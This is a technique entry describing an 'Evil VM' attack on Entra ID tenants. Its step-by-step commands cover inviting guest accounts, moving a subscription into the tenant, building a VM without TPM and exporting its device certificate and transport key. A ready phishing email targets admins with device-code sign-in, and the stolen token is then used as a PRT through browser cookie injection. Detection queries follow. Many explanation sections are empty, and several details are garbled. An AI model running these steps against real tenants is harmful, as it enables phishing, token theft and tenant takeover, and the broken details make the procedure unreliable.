MCADDF

[REALWORLD-013]: Evil VM Device Identity

Metadata

Attribute Details
Technique ID REALWORLD-013
MITRE ATT&CK v18.1 T1078.004 - Valid Accounts: Cloud Accounts
Tactic Privilege Escalation, Defense Evasion, Persistence
Platforms Hybrid/Entra ID
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions All Windows Server versions supporting Azure VM; All Entra ID tenants with default guest settings
Patched In Mitigation via policy enforcement (no patch)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: The “Evil VM” attack leverages default Azure VM configurations combined with Entra ID guest account privileges to escalate from a compromised guest account to full Entra ID administrator with device identity persistence. An attacker compromises a B2B guest account (or invites one they control), leverages default Entra ID guest invitation permissions, transfers a subscription into the target tenant, creates a Gen 1 Azure VM without TPM protection, and joins it to Entra ID. Once local admin on the VM, they extract the device certificate and transport key, then use device code phishing to steal a user’s Primary Refresh Token (PRT), upgrade it to a PRT, and authenticate as that user to any Entra ID service. If the phished user is a Global Admin, the attacker gains full tenant control. The attack succeeds entirely through default permissions and no explicit role assignment to the guest account is required.

Attack Surface: Azure Virtual Machines (Gen 1 images without TPM), Entra ID device registration, OAuth device code flow, Entra ID guest policies, subscription management, Primary Refresh Token storage.

Business Impact: Complete Entra ID tenant compromise, persistent access to all cloud services, potential on-premises Active Directory compromise via federation, and exfiltration of sensitive cloud data. Organizations that do not restrict guest invitations, subscription transfers, or enforce secure VM configurations face catastrophic risk of full infrastructure takeover through a single guest account compromise.

Technical Context: This attack typically takes 2-4 hours for an experienced attacker to execute, from initial guest compromise to Global Admin access. Detection is difficult because each step leverages legitimate Azure features (VM creation, device registration, OAuth device code flow, and PRT issuance). The attack generates some audit logs but these are often not correlated by security teams. The critical window for detection is during guest invitation, subscription transfer, and VM creation phases, where unusual patterns should be visible in Entra ID audit logs.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark v8 5.3 Ensure that no custom subscription owner roles are created
CIS Benchmark v8 7.3 Ensure that "Guest users" are reviewed on a monthly basis
DISA STIG AC-2(j) Privileged access must be restricted and monitored
CISA SCuBA identity.1.1 Non-federated single sign-on (SSO) must be configured for authentication
NIST 800-53 AC-2 (Account Management) Multi-factor authentication is required for all administrative accounts
NIST 800-53 AC-3 (Access Enforcement) Enforce least-privilege access for subscription and resource creation
GDPR Art. 32 Security of Processing - Encryption and access controls for cloud infrastructure
DORA Art. 9 Protection and Prevention - ICT risk management measures for critical operations
NIS2 Art. 21 Cyber Risk Management Measures - Access control, privilege management
ISO 27001 A.9.2.3 Management of Privileged Access Rights - Control over administrative accounts
ISO 27005 Guest Account Compromise via Device Identity Abuse Risk of privilege escalation through VM-based device backdoors

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Guest Account Compromise + Subscription Transfer + Evil VM Creation

Supported Versions: Entra ID all versions; Azure all regions

Step 1: Compromise or Invite Guest Account

Objective: Establish initial foothold as a B2B guest account in the target Entra ID tenant.

Command (Initial Compromise via Phishing):

# Victim user receives phishing email and clicks malicious link
# Attacker captures credentials or MFA bypass via helpdesk social engineering
$username = "attacker@gmail.com"
$password = "stolen_password"

# Sign in with captured credentials
Connect-MgGraph -Scopes "User.Read" -Credential $credential

Command (Or Invite Attacker-Controlled Guest):

# If you have initial guest access, invite a guest you control
Connect-MgGraph -Scopes "User.Invite.All"

$params = @{
    invitedUserEmailAddress = "attacker-controlled@gmail.com"
    inviteRedirectUrl       = "https://portal.azure.com"
    sendInvitationMessage   = $false
}

New-MgInvitation -BodyParameter $params

Expected Output:

InvitedUserDisplayName : Attacker Account
InvitedUserEmailAddress: attacker-controlled@gmail.com
InvitationRedeemUrl    : https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Create Attacker-Controlled Billing Account (Home Tenant)

Objective: Set up an attacker-controlled Microsoft Account that becomes a subscription billing owner in the attacker’s home tenant, which will later be invited to the target tenant.

Command (On Attacker’s Machine):

# Create Microsoft Account at https://signup.microsoft.com
# Use credit card to activate (free $200 Azure credits)
# This account is now a subscription owner in attacker's home tenant

# Verify owner status in home tenant
Connect-AzAccount -Tenant "attacker-home-tenant-id"
Get-AzRoleAssignment -RoleDefinitionName "Owner"

Expected Output:

RoleDefinitionName             DisplayName             Scope
------------------             -----------             -----
Owner                          Attacker Account        /subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

What This Means:

OpSec & Evasion:

References & Proofs:


Step 3: Invite Billing Account to Target Tenant as Guest

Objective: Invite the attacker’s billing owner account into the target tenant, so they become a guest with subscription owner rights in the target tenant.

Command (From Compromised Guest in Target Tenant):

# Assume you have compromised guest in target tenant
$targetTenantId = "target-tenant-id"
$attackerBillingAccount = "attacker-billing@outlook.com"

Connect-MgGraph -TenantId $targetTenantId -Scopes "User.Invite.All"

$params = @{
    invitedUserEmailAddress = $attackerBillingAccount
    inviteRedirectUrl       = "https://portal.azure.com"
    sendInvitationMessage   = $false
}

$invitation = New-MgInvitation -BodyParameter $params
Write-Host "Invitation Redeem URL: $($invitation.InviteRedeemUrl)"

Expected Output:

InvitedUserDisplayName : Attacker Billing Account
InvitedUserEmailAddress: attacker-billing@outlook.com
InvitationRedeemUrl    : https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=...&tenant=target-tenant-id

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 4: Transfer Subscription from Home Tenant to Target Tenant

Objective: Move a subscription created in the attacker’s home tenant into the target tenant, making the guest account a subscription owner in the target tenant.

Command (From Home Tenant, Attacker’s Billing Account):

# Login to home tenant
$homeContext = Connect-AzAccount -Tenant "attacker-home-tenant-id"

# Get subscription to transfer
$subscription = Get-AzSubscription -SubscriptionName "Attacker-Sub-1"
$subscriptionId = $subscription.Id

# Change subscription directory (move to target tenant)
# This requires the subscription directory change via Azure portal or REST API
# PowerShell doesn't directly support this, so use Azure portal:
# 1. Go to https://portal.azure.com
# 2. Navigate to Cost Management + Billing
# 3. Select subscription
# 4. Click "Change subscription directory"
# 5. Select target tenant from dropdown
# 6. Confirm transfer

# Or via Azure REST API:
$tenantToken = (Get-AzAccessToken -TenantId "attacker-home-tenant-id").Token
$targetTenantId = "target-tenant-id"

$headers = @{
    "Authorization" = "Bearer $tenantToken"
    "Content-Type"  = "application/json"
}

$body = @{
    destination = "/subscriptions/$subscriptionId/providers/microsoft.billing/billingAccounts/$targetTenantId"
} | ConvertTo-Json

$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Subscription/alias/subscription-alias?api-version=2020-09-01"

Invoke-RestMethod -Uri $uri -Method POST -Headers $headers -Body $body

Manual Steps (Azure Portal):

  1. Log in to Azure Portal as the billing owner
  2. Navigate to Cost Management + Billing
  3. Click Subscriptions in the left sidebar
  4. Select the subscription to transfer
  5. Click Change subscription directory
  6. From the dropdown, select the target tenant
  7. Review the warning (you will lose RBAC access, but remain as owner)
  8. Click Change to confirm

Expected Output:

Directory changed successfully
Subscription is now owned by the transferred guest account in the target tenant

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 5: Create Gen 1 Azure VM with Entra ID Login (No TPM)

Objective: Create a Windows Azure VM that is Entra ID-joined but without TPM protection, allowing easy extraction of device credentials.

Command (PowerShell - Create VM):

# Login to transferred subscription in target tenant
$context = Connect-AzAccount -TenantId "target-tenant-id" -Subscription "transferred-subscription-id"

# Set resource group and VM parameters
$resourceGroupName = "evil-vm-rg"
$vmName = "evil-vm-001"
$location = "East US"
$imageId = "UbuntuLTS" # or Windows image

# Create resource group
New-AzResourceGroup -Name $resourceGroupName -Location $location

# Create VM with Entra ID login extension
# Use Gen 1 image and Standard security (no TPM)
$imagePublisher = "MicrosoftWindowsServer"
$imageOffer = "WindowsServer"
$imageSku = "2022-Datacenter" # Gen 1 image
$imageVersion = "latest"

$cred = New-Object System.Management.Automation.PSCredential(
    "localadmin",
    (ConvertTo-SecureString "P@ssw0rd1234!" -AsPlainText -Force)
)

$vmConfig = New-AzVMConfig -VMName $vmName -VMSize "Standard_B2s"
$vmConfig = Set-AzVMOperatingSystem -VM $vmConfig -Windows -ComputerName $vmName -Credential $cred
$vmConfig = Set-AzVMSourceImage -VM $vmConfig -PublisherName $imagePublisher `
    -Offer $imageOffer -Skus $imageSku -Version $imageVersion

# CRITICAL: Do NOT enable TPM
# Use Gen 1 VM (default) and Standard security type (not TrustedLaunch)

$vmConfig = Add-AzVMNetworkInterface -VM $vmConfig `
    -Id (New-AzNetworkInterface -Name "nic1" -ResourceGroupName $resourceGroupName `
    -Location $location -PublicIpAddressId (New-AzPublicIpAddress -Name "pip1" `
    -ResourceGroupName $resourceGroupName -Location $location).Id).Id

# Create the VM
New-AzVM -ResourceGroupName $resourceGroupName -VM $vmConfig

# Install AAD Login extension to join VM to Entra ID
Set-AzVMExtension -ResourceGroupName $resourceGroupName -VMName $vmName `
    -Name "AADLoginForWindows" `
    -Publisher "Microsoft.Azure.ActiveDirectory" `
    -ExtensionType "AADLoginForWindows" `
    -TypeHandlerVersion "2.0"

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalVirtual Machines+ CreateVirtual Machine
  2. Basics Tab:
    • Resource Group: Create new evil-vm-rg
    • VM Name: evil-vm-001
    • Region: East US
    • Image: Windows Server 2022 Datacenter (Gen 1)
    • Size: Standard_B2s
  3. Disks Tab:
    • OS Disk Type: Standard SSD
    • Security Type: Standard (NOT TrustedLaunch - this disables TPM)
  4. Management Tab:
    • Under Login with Azure AD, click checkbox: Enable login with Azure AD
    • Enable: System assigned managed identity (for device join)
  5. Advanced Tab:
    • Leave defaults
  6. Click Review + Create
  7. Click Create to deploy VM

Expected Output:

VM deployed successfully
Entra ID Login extension installed
Device should appear in Entra ID > Devices within 5-10 minutes

Verify Entra ID Join:

# RDP into the VM with local admin credentials
# On the VM, run:
dsregcmd /status

# Expected output:
# AzureAdJoined : YES
# AzureAdPrt : YES (may take time to acquire)
# DomainJoined : NO
# DeviceId : [UUID]

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 6: RDP into VM with Local Admin Credentials & Gain Local Admin

Objective: Connect to the VM using the local admin credentials set during VM creation, and verify local admin privileges.

Command (From Attacker’s Machine):

# Get public IP of VM
$vm = Get-AzVM -ResourceGroupName "evil-vm-rg" -Name "evil-vm-001"
$publicIp = (Get-AzPublicIpAddress -ResourceGroupName "evil-vm-rg" -Name "pip1").IpAddress

# RDP to VM
mstsc /v:$publicIp
# When prompted, enter local admin credentials set during VM creation
# Username: localadmin
# Password: P@ssw0rd1234!

Manual Steps:

  1. In Azure Portal, navigate to the VM
  2. Click ConnectRDPDownload RDP File
  3. Open the RDP file with Remote Desktop Connection
  4. Enter local admin username and password
  5. Click Connect

On the VM (Once Connected):

# Verify local admin privileges
whoami /groups
# Should show: Group Name: BUILTIN\Administrators, Enabled

# Verify Entra ID join status
dsregcmd /status
# AzureAdJoined: YES
# AzureAdPrt: YES (if user who joined is logged in)

# Verify no TPM protection
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\TPM" -Name Start
# Should return Start value of 4 (disabled) or not present

Expected Output:

Entra AD Joined: YES
Device ID: [UUID]
Local admin privileges: Confirmed
TPM Status: Disabled/Not Present

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 7: Extract Device Certificate and Transport Key

Objective: Extract the Entra ID device certificate and transport key from the VM’s registry, allowing the attacker to impersonate the device from any machine.

Command (On the VM, as Local Admin):

# Option 1: Use AADInternals (Recommended)
Install-Module AADInternals -Force
Import-Module AADInternals

# Export device certificate and transport key
Export-AADIntLocalDeviceCertificate -Path "C:\temp\device_cert.pfx"
Export-AADIntLocalDeviceTransportKey -Path "C:\temp\device_transport_key.bin"

# Retrieve from registry directly (Alternative, if AADInternals fails)
# Device certificate is stored in registry:
$certPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CDPSvc\Accounts\{[DEVICE_ID]}"
Get-ItemProperty -Path $certPath -Name "Certificate"

# Or use PowerShell to directly read registry
$tenantId = (Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\Microsoft Entra ID" -ErrorAction SilentlyContinue).TenantId
$deviceId = (dsregcmd /status | Select-String "DeviceId").ToString().Split(":")[1].Trim()

# Extract via WMI
Get-WmiObject -Namespace "root\cimv2" -Class "Win32_OperatingSystem" | Select-Object -Property SerialNumber

Command (To Transfer Files to Attacker Machine):

# Copy certificates to C:\temp for exfiltration
# Use SMB file share, or PowerShell Remoting to copy to attacker machine

# If running from attacker machine with credentials:
$vmIp = "[VM_PUBLIC_IP]"
$cred = New-Object System.Management.Automation.PSCredential(
    "localadmin",
    (ConvertTo-SecureString "P@ssw0rd1234!" -AsPlainText -Force)
)

# Create PS session
$session = New-PSSession -ComputerName $vmIp -Credential $cred

# Copy files
Copy-Item -FromSession $session -Path "C:\temp\device_cert.pfx" -Destination "C:\temp\"
Copy-Item -FromSession $session -Path "C:\temp\device_transport_key.bin" -Destination "C:\temp\"

Expected Output:

Device certificate exported successfully
Transport key exported successfully
Files copied to attacker machine: C:\temp\device_cert.pfx, C:\temp\device_transport_key.bin

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Device Code Phishing to Upgrade Refresh Token to PRT

Supported Versions: Entra ID all versions; All users

Step 1: Enumerate Admin Users from Subscription IAM

Objective: Identify high-value targets (Global Admins, Privileged Role Admins) to phish for PRT tokens.

Command (From Subscription Owner Attacker Account):

# Login to the subscription owner account (attacker's guest)
$context = Connect-AzAccount -TenantId "target-tenant-id" -Subscription "transferred-subscription-id"

# Get RBAC role assignments on the subscription
Get-AzRoleAssignment -Scope "/subscriptions/$((Get-AzContext).Subscription.Id)"

# Or get root management group assignments (admins are often here)
$managementGroups = Get-AzManagementGroup -ErrorAction SilentlyContinue

foreach ($mg in $managementGroups) {
    Get-AzRoleAssignment -Scope $mg.Id | Select-Object DisplayName, RoleDefinitionName, ObjectId
}

# Also check Entra ID for Global Admins
Connect-MgGraph -Scopes "DirectoryRole.Read.All" -TenantId "target-tenant-id"

# Get Global Admin role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

# Get members of Global Admin role
Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id | Select-Object DisplayName, Mail

Expected Output:

DisplayName        Mail                      RoleDefinitionName
-----------        ----                      ------------------
John Admin         john.admin@company.com    Global Administrator
Jane Privileged    jane.p@company.com        Privileged Role Administrator

What This Means:

OpSec & Evasion:

References & Proofs:


Step 2: Phishing Email with Device Code Flow

Objective: Send phishing email to identified admin targets with malicious device code flow link.

Attack Flow Overview:

  1. Attacker initiates OAuth device code flow on attacker-controlled machine
  2. Device code is generated by Entra ID
  3. Attacker sends phishing email with legitimate Microsoft device code sign-in URL
  4. Admin clicks link and signs in with their credentials and MFA
  5. Entra ID issues refresh token to attacker’s machine (device code waits for completion)
  6. Attacker receives refresh token without ever seeing admin’s credentials

Command (Attacker’s Machine - Initiate Device Code Flow):

# Install ROADtools if not present
pip install roadtools

# Or use AADInternals method:
Import-Module AADInternals

# Method 1: Using ROADtools
# roadtx uses device code flow to request tokens
# First, download ROADtools or use Azure CLI device login flow

# Method 2: Using Azure CLI (Built-in Device Code Flow)
az login --use-device-code --allow-no-subscriptions

# Output will be:
# To sign in, use a web browser to open the page https://microsoft.com/devicelogin
# and enter the code XXXXXXXXX to authenticate.

# Save the device code
$deviceCode = "XXXXXXXXX"  # From the output above

Command (Create Phishing Email):

<!-- Phishing Email Template -->
Subject: ACTION REQUIRED: Verify Your Microsoft Account Access

Body:
Hello [Admin Name],

Your Microsoft account requires verification due to security policy updates.

Please verify your account immediately by clicking the link below:

https://microsoft.com/devicelogin

Enter this code when prompted: XXXXXXXXX

This verification is required to maintain access to your company resources.

Thank you,
IT Security Team

Expected Output (After Admin Clicks Link and Signs In):

User signed in successfully
Refresh token acquired: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6InBGYUdqQ...
PRT candidate acquired

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: Upgrade Refresh Token to Primary Refresh Token (PRT) Using Extracted Device Certificate

Objective: Use the extracted device certificate and transport key from the evil VM, combined with the refresh token from phished admin, to request a Primary Refresh Token.

Command (Attacker’s Machine):

# Use ROADtools to upgrade refresh token to PRT
# Requires: extracted device certificate, device transport key, and refresh token from phishing

# Method 1: Using ROADtools (roadtx)
# roadtx prtenrich: Requests PRT based on refresh token and device identity

# First, export the device certificate and key from VM (from Step 7 above)
# Files: device_cert.pfx, device_transport_key.bin

# Initialize roadtx with device identity
# roadtx prtenrich -r <refresh_token> -c <device_cert.pfx> -k <device_transport_key.bin>

# Or use interactive mode:
roadtx prtenrich --interactive

# This will:
# 1. Prompt for refresh token (from phished admin)
# 2. Use extracted device cert and transport key as proof of possession
# 3. Send request to Entra ID with: device_cert, transport_key, refresh_token
# 4. Entra ID validates device identity and issues new PRT

# Method 2: Using AADInternals (PowerShell alternative)
Import-Module AADInternals

# Get access token using refresh token
$token = Get-AADIntAccessTokenUsingRefreshToken -RefreshToken "refresh_token_from_phishing"

# Request PRT using device identity
New-AADIntPrimaryRefreshToken -RefreshToken "refresh_token_from_phishing" `
    -DeviceCertificate "C:\temp\device_cert.pfx" `
    -DeviceTransportKey "C:\temp\device_transport_key.bin"

# Output: PRT is returned and can be used for future authentication

Expected Output:

Primary Refresh Token (PRT) successfully acquired
PRT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6InBGYUdqQ...
PRT is valid for 14 days (can be renewed up to 90 days)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 4: Authenticate as Phished User to Azure Portal, Microsoft 365, and Other Services

Objective: Use the stolen PRT to gain full access to all cloud services as the compromised admin.

Command (Attacker’s Machine - Use PRT):

# Method 1: Use PRT with browser (Edge/Chrome)
# PRT can be used in a browser via X-Ms-RefreshTokenCredential header or cookie injection

# Install PRT into browser using roadtx
roadtx browserprtauth -prt "path_to_prt_file" -c "device_cert.pfx" -k "device_transport_key.bin"

# Or manually inject PRT cookie:
# 1. Open Edge on attacker machine
# 2. Navigate to https://portal.azure.com
# 3. Open DevTools (F12) → Console
# 4. Inject PRT cookie: document.cookie = "X-Ms-RefreshTokenCredential=<PRT>"
# 5. Refresh page and should be authenticated as admin

# Method 2: Use access tokens for API calls
# PRT is used to request access tokens for specific services

$prt = Get-Content "C:\temp\prt.token" # Saved PRT from previous step

# Get access token for Azure Management API
roadtx token -prt $prt -r "https://management.azure.com/"

# Output: Access token that can be used with Azure CLI
# az account get-access-token --resource "https://management.azure.com/" --header "Authorization: Bearer <token>"

# Method 3: Sign in with stolen PRT (Most Stealthy)
# Some tools like ROADtools support direct authentication with PRT
roadtx browserprtauth -prt $prt

# This opens a browser and authenticates using the PRT
# Result: Attacker is now logged in as the phished admin

Manual Steps (Attacker’s Machine):

  1. On attacker machine, open Microsoft Edge or Chrome
  2. Navigate to https://portal.azure.com
  3. Open Developer Tools (F12)
  4. Go to Console tab
  5. Execute JavaScript to inject PRT cookie:
    document.cookie = "X-MS-RefreshTokenCredential=<STOLEN_PRT>; Path=/; Secure; SameSite=None";
    
  6. Refresh the page
  7. If PRT is valid, should be authenticated as the compromised admin

Expected Output:

Authenticated as: john.admin@company.com (Global Administrator)
Access Level: Full Entra ID, Azure subscriptions, Microsoft 365
Capabilities: Create users, assign roles, access all data

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Reference: Atomic Red Team - T1078.004


7. TOOLS & COMMANDS REFERENCE

AADInternals

Version: 0.9.8+ (latest) Minimum Version: 0.8.0 Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.0+

Version-Specific Notes:

Installation:

Install-Module AADInternals -Force -Scope CurrentUser
Import-Module AADInternals
Update-Module AADInternals -Force

Usage (Export Device Certificate):

Export-AADIntLocalDeviceCertificate -Path "C:\temp\device.pfx"
Export-AADIntLocalDeviceTransportKey -Path "C:\temp\transport_key.bin"

ROADtools

Version: 1.0.0+ (latest) Minimum Version: 0.9.0 Supported Platforms: Linux, macOS, Windows with Python 3.7+

Version-Specific Notes:

Installation:

pip install roadtools
# Or from GitHub:
git clone https://github.com/dirkjanm/ROADtools
cd ROADtools
pip install .

Usage (Device Code Phishing):

roadtx prtenrich --interactive
# Follow prompts to enter refresh token and device certificate

Usage (PRT to Access Token):

roadtx token -prt <path_to_prt> -r https://management.azure.com/

Mimikatz

Version: 2.2.0+ (latest) Minimum Version: 2.1.0 Supported Platforms: Windows

Version-Specific Notes:

Installation:

# Download from releases page
# Or build from source
git clone https://github.com/gentilkiwi/mimikatz
cd mimikatz
cmake -B build && cmake --build build --config Release

Usage (Extract PRT from Memory):

privilege::debug
token::list /csv
dpapi::cache

9. MICROSOFT SENTINEL DETECTION

Query 1: Guest Account Creating Azure VMs

Rule Configuration:

KQL Query:

// Detect guest accounts creating Gen 1 VMs without TPM
let guestUsers = AuditLogs
  | where OperationName == "Add user"
  | where tostring(InitiatedBy.user.userType) == "Guest"
  | project GuestObjectId = tostring(TargetResources[0].id), GuestUPN = tostring(InitiatedBy.user.userPrincipalName);

AzureActivity
  | where OperationName contains "Microsoft.Compute/virtualMachines/write"
  | where Caller in (guestUsers)
  | where Properties contains "gen1" or Properties contains "Standard" 
  | project TimeGenerated, Caller, OperationName, ResourceGroup, Subscription_s, Properties

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Guest Account Creating Gen 1 VMs without TPM
    • Severity: High
  4. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 15 minutes
    • Lookup data from the last: 2 hours
  5. Incident settings Tab:
    • Enable Create incidents
    • Group by: Caller, ResourceGroup
  6. Click Review + create

Query 2: Device Certificate Extraction or AADInternals Usage

Rule Configuration:

KQL Query:

// Detect AADInternals or credential dumping tools
union isfuzzy=true
(
  SecurityEvent
  | where EventID == 3 // Process creation
  | where (NewProcessName contains "powershell" or NewProcessName contains "pwsh")
  | where CommandLine contains "AADInternals" or CommandLine contains "Export-AADIntLocal"
        or CommandLine contains "Get-AADIntDevice" or CommandLine contains "Mimikatz"
),
(
  DeviceEvents
  | where ActionType == "ProcessCreated"
  | where FileName in ("powershell.exe", "pwsh.exe")
  | where ProcessCommandLine contains "AADInternals" or ProcessCommandLine contains "Export-AADIntLocal"
        or ProcessCommandLine contains "Mimikatz" or ProcessCommandLine contains "lsass"
)
| project TimeGenerated, Computer, FileName, ProcessCommandLine, InitiatingProcessAccountName

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. General Tab:
    • Name: Suspicious Credential Dumping Tool Execution
    • Severity: Critical
  3. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  4. Incident settings Tab:
    • Enable Create incidents
    • Group by: Computer, InitiatingProcessAccountName
  5. Click Review + create

Query 3: Guest-Owned Subscription Transfer or Creation

Rule Configuration:

KQL Query:

// Detect subscriptions transferred to or created by guest accounts
let recentGuests = AuditLogs
  | where OperationName == "Invite user" or OperationName == "Add user"
  | where tostring(InitiatedBy.user.userType) == "Guest"
  | project GuestUPN = tostring(TargetResources[0].userPrincipalName), TimeAdded = TimeGenerated;

AzureActivity
  | where OperationName contains "CreateSubscription" or OperationName contains "Transfer"
  | where Category == "Administrative"
  | where Caller in (recentGuests)
  | project TimeGenerated, Caller, OperationName, CorrelationId, Subscription_s

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. General Tab:
    • Name: Guest Account Creating or Transferring Subscriptions
    • Severity: Critical
  3. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 30 minutes
    • Lookup data from the last: 7 days
  4. Incident settings Tab:
    • Enable Create incidents
    • Group by: Caller
  5. Click Review + create

Query 4: Device Code Flow Phishing Detection

Rule Configuration:

KQL Query:

// Detect device code phishing attempts
// Signature: RefreshToken sign-in followed by access token request from different device
SigninLogs
| where AuthenticationMethodsUsed contains "refreshToken"
| where AppDisplayName contains "Device Registration Service" or AppDisplayName contains "Microsoft Authentication Broker"
| where Status.additionalDetails contains "MFA satisfied" or Status.additionalDetails contains "PRT"
| join kind=inner
(
  SigninLogs
  | where TimeGenerated > ago(30m)
  | where UserPrincipalName contains "@"
  | where ClientAppUsed != "Other clients" and ClientAppUsed != "Browser"
  | where ResourceDisplayName contains "Azure" or ResourceDisplayName contains "Office 365"
)
on UserPrincipalName
| where IPAddress_1 != IPAddress
| project TimeGenerated, UserPrincipalName, ClientAppUsed, AppDisplayName, IPAddress, ResourceDisplayName

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. General Tab:
    • Name: Possible Device Code Phishing Attack
    • Severity: High
  3. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 2 hours
  4. Incident settings Tab:
    • Enable Create incidents
    • Group by: UserPrincipalName
  5. Click Review + create

10. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationSystem Audit Policies
  3. Enable: Audit Process CreationSuccess and Failure
  4. Expand and enable: Detailed TrackingProcess Creation
  5. Set to: Success and Failure
  6. Run gpupdate /force on all target machines

Manual Configuration Steps (Local Policy - Server 2022+):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationSystem Audit PoliciesDetailed Tracking
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Run auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

Manual Configuration Steps (PowerShell):

# Enable process creation audit
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

# Verify
auditpol /get /subcategory:"Process Creation"

Event ID: 5156 (Network Connection Blocked/Allowed)

Manual Configuration Steps:

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsWindows Defender Firewall with Advanced Security
  3. Click MonitoringFirewall → Enable logging
  4. Enable: Log successful connections
  5. Set log file location and size
  6. Click OK

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+, Windows 10/11

<!-- Sysmon Configuration for Evil VM Detection -->
<Sysmon schemaversion="4.82">
  <!-- Detect AADInternals and Mimikatz execution -->
  <RuleGroup name="Detect-CredDump" groupRelation="or">
    <ProcessCreate onmatch="include">
      <Image condition="contains">powershell</Image>
      <CommandLine condition="contains">AADInternals</CommandLine>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="contains">powershell</Image>
      <CommandLine condition="contains">Export-AADIntLocal</CommandLine>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="contains">cmd</Image>
      <CommandLine condition="contains">mimikatz</CommandLine>
    </ProcessCreate>
  </RuleGroup>

  <!-- Detect registry access to device certificates -->
  <RuleGroup name="Detect-DeviceCertRegAccess" groupRelation="or">
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CDPSvc</TargetObject>
      <EventType>SetValue</EventType>
    </RegistryEvent>
  </RuleGroup>

  <!-- Detect network connections to Azure/Entra endpoints -->
  <RuleGroup name="Detect-AzureConnections" groupRelation="or">
    <NetworkConnect onmatch="include">
      <DestinationHostname condition="contains">management.azure.com</DestinationHostname>
      <DestinationPort condition="is">443</DestinationPort>
    </NetworkConnect>
    <NetworkConnect onmatch="include">
      <DestinationHostname condition="contains">graph.microsoft.com</DestinationHostname>
      <DestinationPort condition="is">443</DestinationPort>
    </NetworkConnect>
  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
    

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious role assignment detected”

Alert Name: “Gen 1 Virtual Machine Created Without Disk Encryption”

Alert Name: “Subscription Directory Changed”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings in left menu
  3. Select your subscription
  4. Under Defender plans, toggle ON:
    • Defender for Servers: ON (detects process creation and suspicious activities)
    • Defender for Resource Manager: ON (detects suspicious Azure API calls)
    • Defender for Cloud Apps: ON (detects suspicious M365 activities)
  5. Scroll down and ensure Alert notifications are configured
  6. Click Save
  7. Go to Security alerts to view triggered alerts

Manual Configuration Steps (Create Custom Alert):

  1. Navigate to Defender for CloudSecurity alerts
  2. Click Create custom alert rule
  3. Define rule:
    • Condition: Resource type == “Microsoft.Compute/virtualMachines”, SecurityType == “Standard”
    • Action: Alert with severity “High”
  4. Click Create

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

